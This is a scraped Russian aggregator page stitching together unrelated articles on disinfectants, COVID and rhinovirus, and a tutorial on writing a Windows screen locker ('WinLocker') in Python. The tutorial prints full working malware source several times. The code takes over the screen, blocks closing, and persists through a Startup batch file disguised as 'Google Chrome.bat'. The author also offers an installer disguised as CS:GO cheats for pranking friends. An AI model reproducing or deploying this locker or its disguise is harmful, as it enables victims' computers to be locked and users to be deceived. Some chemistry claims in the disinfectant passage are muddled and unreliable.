Перекись водорода относится ко 2 классу опасности, а при работе с ней должны применяться средства индивидуальной защиты в соответствии с действующими нормами. Вдыхание паров перекиси водорода влечет за собой резкое раздражение слизистых оболочек дыхательных путей. Растворы перекиси водорода могут вызывать ожоги кожи и глаз, а пары раздражение слизистых оболочек.

Также стоит отметить высокое коррозионное воздействие перекиси водорода: pH = 2, окислительный потенциал 1,78, вещество может вызвать воспламенение.

4.2. Диоксид хлора
Диоксид хлора это сильнейший окислитель широкого спектра антимикробного действия, основу принципа действия которого составляет активный кислород.

Несмотря на присутствие в названии слова хлор, у диоксида хлора (ClO2) и хлора (Cl2) есть принципиальные отличия, а действующим веществом является активный кислород. Средства дезинфекции на основе ClO2 не выделяют активный хлор в атмосферу, а реакции с органическими веществами, а также побочные продукты этих реакций существенным образом различаются.



Степень окисления у диоксида хлора выше в 2,5 раза, чем у жидкого хлора, что говорит о его более сильном бактерицидном действии. Из-за действия молекулярного кислорода диоксид хлора окисляет вещества до конечных продуктов, как правило, до углекислого газа и воды, не образуя промежуточных соединений или хлорсодержащих органических соединений. Экспериментальные данные подтверждают, что для достижения одинакового бактерицидного эффекта требуется меньшее количество диоксида хлора по сравнению с жидким хлором, а период воздействия ClO2 короче по времени.

ClO2 применяют для очистки питьевой воды, при изготовлении бумаги и муки в качестве отбеливателя, как компонент для зубных паст и ополаскивателей. Диоксид хлора действует не замещением (или хлорированием, как хлор), а окислением. Благодаря этому в процессе реакции не образуются тригалометаны, хлорфенолы, практически не образуются неудаляемые органические галогены, не происходит реакция с аминами и другими соединениями.

Диоксид хлора эффективен в широком диапазоне рН от 4 до 10. В спектр его обеззараживающего действия входят: бактерии (включая микобактерии туберкулеза), спорообразующие бациллы, а также их споры, вирусы (полиомиелита, гепатита, ротавирусы, ВИЧ, грипп типа А, возбудители ОРВИ, герпес и др.), грибы рода Candida, дерматофиты, плесневые грибы.

Применяемые средства на основе диоксида хлора обладают одной из самых низких концентраций действующего вещества 0,10% против 3-6% у перекиси водорода. Сам по себе ClO2 относится ко 2 классу опасности, его вдыхание вызывает раздражение органов дыхания и слизистых, поэтому обработку парами ClO2 выполняют в средствах индивидуальной защиты. Вместе с тем, отдельные рабочие растворы диоксида хлора относятся к 4 классу мало опасных веществ по ГОСТ 12.1.007 при введении в желудок, нанесении на кожу и не оказывают местного раздражающего действия. Подобные растворы применяют для дезинфекции в больницах.


Водный раствор диоксида хлора (ClO2).

Еще одной особенностью ClO2 является его относительно низкое коррозионное воздействие на объекты: pH 5-7, окислительный потенциал 0,95-, которое усиливается эффективным использованием низких концентраций рабочих растворов.


Дезинфекция общественных объектов диоксидом хлора. Ухань, Китай.

Диоксид хлора применяется для дезинфекции в медицинских учреждениях, ClO2 также получил широкое распространение в ходе пандемии нового коронавируса (COVID-19). Диоксид хлора использовался для борьбы с коронавирусом в Китае, Австралии, Мексике и ряде других странах.
Подробнее..

Написание WinLockerа на Python

12.12.2020 16:04:40 | Автор: admin

Внимание!

Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом.


Вступление

И всем привет братва, с вами я, Геймер Дисклеймер. Как вы думаете, чем я занимался 2 дня подряд? Нет, я не в доту рубился (и вам не советую, раз уж вы себя программистами называете). Я подготавливал материал для Хабра. А точнее, создавал винлокер. И нет, я его не скоммуниздил украл у кого-то, а сам создавал его с нуля. И сегодня я научу вас его создавать. И да, если вы дисклеймер так и не прочитали, то ни в коем случае не используйте этот код во вред другим! Ну ладно, без лишних слов, погнали!

Что нам нужно?

Для создания винлокера нам понадобится:

  1. Сам Python, установить который вы сможете на официальном сайте

  2. Текстовый редактор, в моём случае это будет S*****e Text, цензура для того, чтобы модерация не сочла это за пиар (фактически, вы сможете его написать хоть в простом блокноте)

  3. Доступ к интернету для установки необходимых модулей в PyPI

  4. Компьютер, работающий на ОС Windows

  5. Хоть какое-то базовое познание Python

  6. Прямые руки

  7. Чай с молоком, или в крайнем случае кофе

Приступаем к написанию

Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.

Создаём файл main.py в любой директории

После этого открываем его в любом редакторе.

И начинаем писать наш волшебный код...

Установка и импорт модулей

Ах да... чуть не забыл. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd

и попадаем в командную строку...

вводим туда pip install getpass3

И у нас происходит установка

Таким же образом вводим комманды pip install pyautogui и pip install playsound

Потом возвращаемся в наш файл, и пишем в нём слудующее:

# Импортируем все модули, которые нам пригодятсяfrom playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleep

Создание окна

После этого для удобства ставим отступ, и пишем вот такое

USER_NAME = getpass.getuser()

Тут мы присваиваем переменной USER_NAME имя нашего пользователя, в моём случае это просто User.

Потом вводим в наш файл такие истрочки, пояснение будет в комментариях

window = Tk() # Присваиваем переменной window значение окна, чтобы мы не писали всегда Tk()window.title("WinLocker by GDisclaimer") # Делаем заголовок окна WinLocker by GDisclaimerwindow.geometry('400x250') # Хотя это нам не понадобиться, но на всякий случай, это делает размер окна 400 на 250 пикселейwindow['bg'] = 'black' # Теперь наше окно будет чёрнымwindow.mainloop() # Эта строчка нам нужна, чтобы окно не закрывалось сразу же после открытия

Для удобства, вот вам код, который вы должны скопировать:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'window.mainloop()

Запуск, и проверка кода на работоспособность

Сохраняем файл. После сохранения заходим опять в консоль, переходим в нашу директорию, где расположен файл. Делается это так:

cd "C:\Your\Path\To\The\Main\Py\File"

Моя директория C:/myFiles. Поэтому моя комманда будет выглядеть вот так

cd "C:\myFiles"

потом вводим вот такую строчку:

python main.py

В результате у вас должно запуститься окно.

Круто! Но ведь это ещё далеко не винлокер....

Но до этого мы ещё не дошли. Сейчас Мы поговорим про адаптивность

Делаем окно адаптивным

Давайте сначало поговорим, зачем нам это вообще нужно. Я вам скажу. Не у всех же нормальный 1920x1080 мониторы. У меня самого монитор 1366x768. А у кого-то мониторы ещё меньше

И чтобы у некоторых людей текст не вылазил за пределы экрана, мы настроим адаптивность.

К сожалению, для меня этот код тоже был сложным, и мне пришлось его копировать с другого сайта.

ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()

# Base sizenormal_width = 1920 # Задаём ширину обычного монитораnormal_height = 1080 # Задаём высоту обычного монитора# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))

Опять-же вот вам весь код:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'# Base sizenormal_width = 1920normal_height = 1080# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))window.mainloop()

Сохраняем и проверяем. Если код не выдал ошибок, то идём дальше

Добавляем функции

Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.

# Запускаем песню, которую вы должны скачатьdef play(test):        playsound('sound.mp3', False)# Добавляем наш винлокер на автозапускdef add_to_startup(file_path=""):    if file_path == "":        file_path = os.path.dirname(os.path.realpath(__file__))    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:        bat_file.write(r'start "" %s' % file_path)# Эта функция не даёт нам закрыть окно путём Alt + F4def block():    pyautogui.moveTo(x=680,y=800)    window.protocol("WM_DELETE_WINDOW",block)    window.update()# Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем планеdef fullscreen():    window.attributes('-fullscreen', True, '-topmost', True)# Тут мы проверяем пароль на правильностьdef clicked():    res = format(txt.get())    if res == 'petya':        file_path = '/tmp/file.txt'        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME        os.remove(file_path)        sys.exit()

Сохраняем, и запускаем. Вроде-бы ничего не изменилось. Так и должно быть! Ведь мы нигде не запускали наши функции. И запускать мы их пока-что не будем. Иначе будет очень плохо

И да, на первой строчке мы видим функцию play(test). Но постойте! там же упомянут файл sound.mp3. Но ведь его у меня нету.

Сейчас исправим.

Вот ссылка на сам файл: http://www.mediafire.com/file/ouuwbnw48l415xd/sound.mp3/file

Сохраняем его в директорию с нашим файлом. Если у файла название не sound.mp3, то переименовываем

Делаем апгрейд интерфейса

До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?

Сейчас исправим...

Вводим вот эти строчки кода (опять-же, все обьясняю в комментариях):

add_to_startup("C:\\myFiles\\main.py") # Добавляем наш файл в автозапускfullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран# Создаем текстtxt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')# Используем метод .grid, чтобы текст появился на экранеtxt_one.grid(column=0, row=0)txt_two.grid(column=0, row=0)txt_three.grid(column=0, row=0)# Расставляем весь текст по местамtxt_one.place(relx = .01, rely = .01)txt_two.place(relx = .01, rely = .11)txt_three.place(relx = .01, rely = .21)# Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked()txt = Entry(window)  btn = Button(window, text="ВВОД КОДА", command=clicked)  txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)# Врубаем ранее установленную песнюplay('sound.mp3')

ВНИМАНИЕ! ОКНО ЗАКРВАЕМ КОМБИНАЦИЕЙ КЛАВИШ ALT + F4

А ТАКЖЕ, КОД ОТ ВИНЛОКЕРА: petya

Запускаем и проверяем. Окно должно выглядеть вот так:

Если же нет, то вот вам весь код:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'# Base sizenormal_width = 1920normal_height = 1080# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))def play(test):        playsound('sound.mp3', False)def add_to_startup(file_path=""):    if file_path == "":        file_path = os.path.dirname(os.path.realpath(__file__))    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:        bat_file.write(r'start "" %s' % file_path)def block():    pyautogui.moveTo(x=680,y=800)    window.protocol("WM_DELETE_WINDOW",block)    window.update()def fullscreen():    window.attributes('-fullscreen', True, '-topmost', True)def clicked():    res = format(txt.get())    if res == 'petya':        file_path = '/tmp/file.txt'        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME        os.remove(file_path)        sys.exit()add_to_startup("C:\\myFiles\\main.py")fullscreen()txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')txt_one.grid(column=0, row=0)txt_two.grid(column=0, row=0)txt_three.grid(column=0, row=0)txt_one.place(relx = .01, rely = .01)txt_two.place(relx = .01, rely = .11)txt_three.place(relx = .01, rely = .21)txt = Entry(window)  btn = Button(window, text="ВВОД КОДА", command=clicked)  txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)play('sound.mp3')window.mainloop()

Убираем возможность закрытия окна путём Alt + F4

Мы с вами закрывали окно путём комбинации клавиш, упомянутой в заголовке.

Нам нужно это убрать. Для этого просто вводим перед строчкой window.mainloop() строку block()

Теперь от винлокера можно избавиться вводом кода.

КОД: petya

Убираем возможность снять винлокер путём закрытия командной строки

Особо внимательные читатели додумались закрывать винлокер обычного закрытия командной строки. Если вы меня не поняли, ничего страшного. Потом поймёте. нам нужно всего лишь к файлу main.py добавить w, чтобы получилось main.pyw

Исходный код

Вот и всё! Наш винлокер готов, вот вам весь исходный код файла:

from playsound import *import tkinterfrom tkinter import *import tkinter as tkfrom tkinter import ttkimport getpassimport sysimport osimport os.pathimport pyautoguifrom time import sleepUSER_NAME = getpass.getuser()window = Tk()window.title("WinLocker by GDisclaimer")  window.geometry('400x250')window['bg'] = 'black'# Base sizenormal_width = 1920normal_height = 1080# Get screen sizescreen_width = window.winfo_screenwidth()screen_height = window.winfo_screenheight()# Get percentage of screen size from Base sizepercentage_width = screen_width / (normal_width / 100)percentage_height = screen_height / (normal_height / 100)# Make a scaling factor, this is bases on average percentage from# width and height.scale_factor = ((percentage_width + percentage_height) / 2) / 100# Set the fontsize based on scale_factor,# if the fontsize is less than minimum_size# it is set to the minimum sizefontsize = int(20 * scale_factor)minimum_size = 10if fontsize < minimum_size:       fontsize = minimum_sizefontsizeHding = int(72 * scale_factor)minimum_size = 40if fontsizeHding < minimum_size:       fontsizeHding = minimum_size# Create a style and configure for ttk.Button widgetdefault_style = ttk.Style()default_style.configure('New.TButton', font=("Helvetica", fontsize))def play(test):        playsound('sound.mp3', False)def add_to_startup(file_path=""):    if file_path == "":        file_path = os.path.dirname(os.path.realpath(__file__))    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:        bat_file.write(r'start "" %s' % file_path)def block():    pyautogui.moveTo(x=680,y=800)    window.protocol("WM_DELETE_WINDOW",block)    window.update()def fullscreen():    window.attributes('-fullscreen', True, '-topmost', True)def clicked():    res = format(txt.get())    if res == 'petya':        file_path = '/tmp/file.txt'        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME        os.remove(file_path)        sys.exit()add_to_startup("C:\\myFiles\\main.py")fullscreen()txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')txt_one.grid(column=0, row=0)txt_two.grid(column=0, row=0)txt_three.grid(column=0, row=0)txt_one.place(relx = .01, rely = .01)txt_two.place(relx = .01, rely = .11)txt_three.place(relx = .01, rely = .21)txt = Entry(window)  btn = Button(window, text="ВВОД КОДА", command=clicked)  txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)block()play('sound.mp3')window.mainloop()

.EXE файл

Так-же вы сможете скомилировать весь код в расширение .ехе с помощью pyinstaller. Я очень добрый автор, и я решил скинуть вам установщик, замаскированный под читы для CS:GO, вы можете затроллить этим друга, но обещайте, что не будете делать атаки этим винлокером, а также, когда немножко посмеётесь, обязательно скажите пароль от винлокера:)


Установщик винлокера


Заключение

В заключение я хочу сказать скептикам - делать вирусы можно хоть где. Даже на том самом PHP...

Так что всем спасибо за то, что прочитали мою статью, а модерации спасибо, в случае, если моя статься попадёт на ленту.

Всем удачи, и хорошего дня!

Подробнее..

Чихайте на Covid на здоровье! Новые исследования показали, что обычная простуда может останавливать SARS-CoV-2

17.06.2021 16:13:58 | Автор: admin

Исследования команды Эллен Фоксман (Йельский университет) показывают, что риновирус, который вызывает обычную простуду, может останавливать репликацию SARS-CoV-2.

В сентябре прошлого года команда Фоксман уже проводила исследования о влиянии риновируса на развитие гриппа, и пришла к выводам, что если в клетках дыхательных путей есть вирус простуды, то вирус гриппа их не поражает.

Слева инфекция гриппа, справа инфекция гриппа после контакта с риновирусомСлева инфекция гриппа, справа инфекция гриппа после контакта с риновирусом

И вот 15 июня 2021 года были опубликованы результаты нового исследования, но уже касательно SARS-CoV-2. И они получились похожими оказалось, что риновирус активизирует стимулированные интерфероном гены, молекулы раннего ответа в иммунной системе, которые могут остановить репликацию SARS-CoV-2 в клетках верхних дыхательных путей.

Для этого команда использовала выращенную в лаборатории ткань дыхательных путей:

  • в зараженной SARS-CoV-2 ткани вирусная нагрузка в течение трех дней удваивалась каждые шесть часов;

  • в ткани, на которую предварительно воздействовали риновирусом, репликация SARS-CoV-2 была полностью остановлена.

Одновременно были изучены мазки из носа людей, которым диагноз был поставлен еще до того, как болезнь развилась. И они тоже показали, что в первые дни после заражения вирус, еще до срабатывания иммунитета, вирус как минимум удваивается каждые шесть часов (у некоторых пациентов вирусная нагрузка росла еще быстрее). То есть репликация до вызова иммунного ответа идет экспоненциально, а значит, нужно стимулировать защитных функции включиться пораньше. И это делает риновирус.

Интересно, но сложно

Если успеть провести стимуляцию интерфероном на ранних стадиях, то есть шанс, что SARS-CoV-2 не продолжит развиваться. А если делать это превентивно, то, вроде бы, и вовсе можно избежать заражения.

Главное попасть в нужный период, потому что на более поздних стадиях лечение интерферонами может быть опасным. А вот как в него попасть пока непонятно. Потому что ранние стадии это когда еще нет симптомов. Как вариант профилактика среди групп риска после контакта с больными COVID-19.

Природная регуляция?

Фоксман отмечает, что исследования ее команды помогают понять, почему в периоды простуд заражений гриппом и другими вирусами меньше. Карантин, маски и социальная дистанция не давали вирусам разгуляться, но при послаблении они вернутся. И, по словам Фоксман, могут стать смягчающим фактором, создавая верхний предел степени совместной циркуляции респираторных вирусов.

От себя. Маски весной не дали переболеть простудами и создать естественную защиту?

Но самая главная мысль, имхо, приведена в цитате Фоксман: Между вирусами существуют скрытые взаимодействия, которые мы не совсем понимаем, и эти результаты являются частью головоломки, которую мы пытаемся разгадать.

От себя. Означает ли это, что стремление избавить человечество от какого-то вируса заодно и убирает защиту от другого?

-----

Дата-центр ITSOFT размещение и аренда серверов и стоек в двух дата-центрах в Москве. За последние годы UPTIME 100%. Размещение GPU-ферм и ASIC-майнеров, аренда GPU-серверов, лицензии связи, SSL-сертификаты, администрирование серверов и поддержка сайтов.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru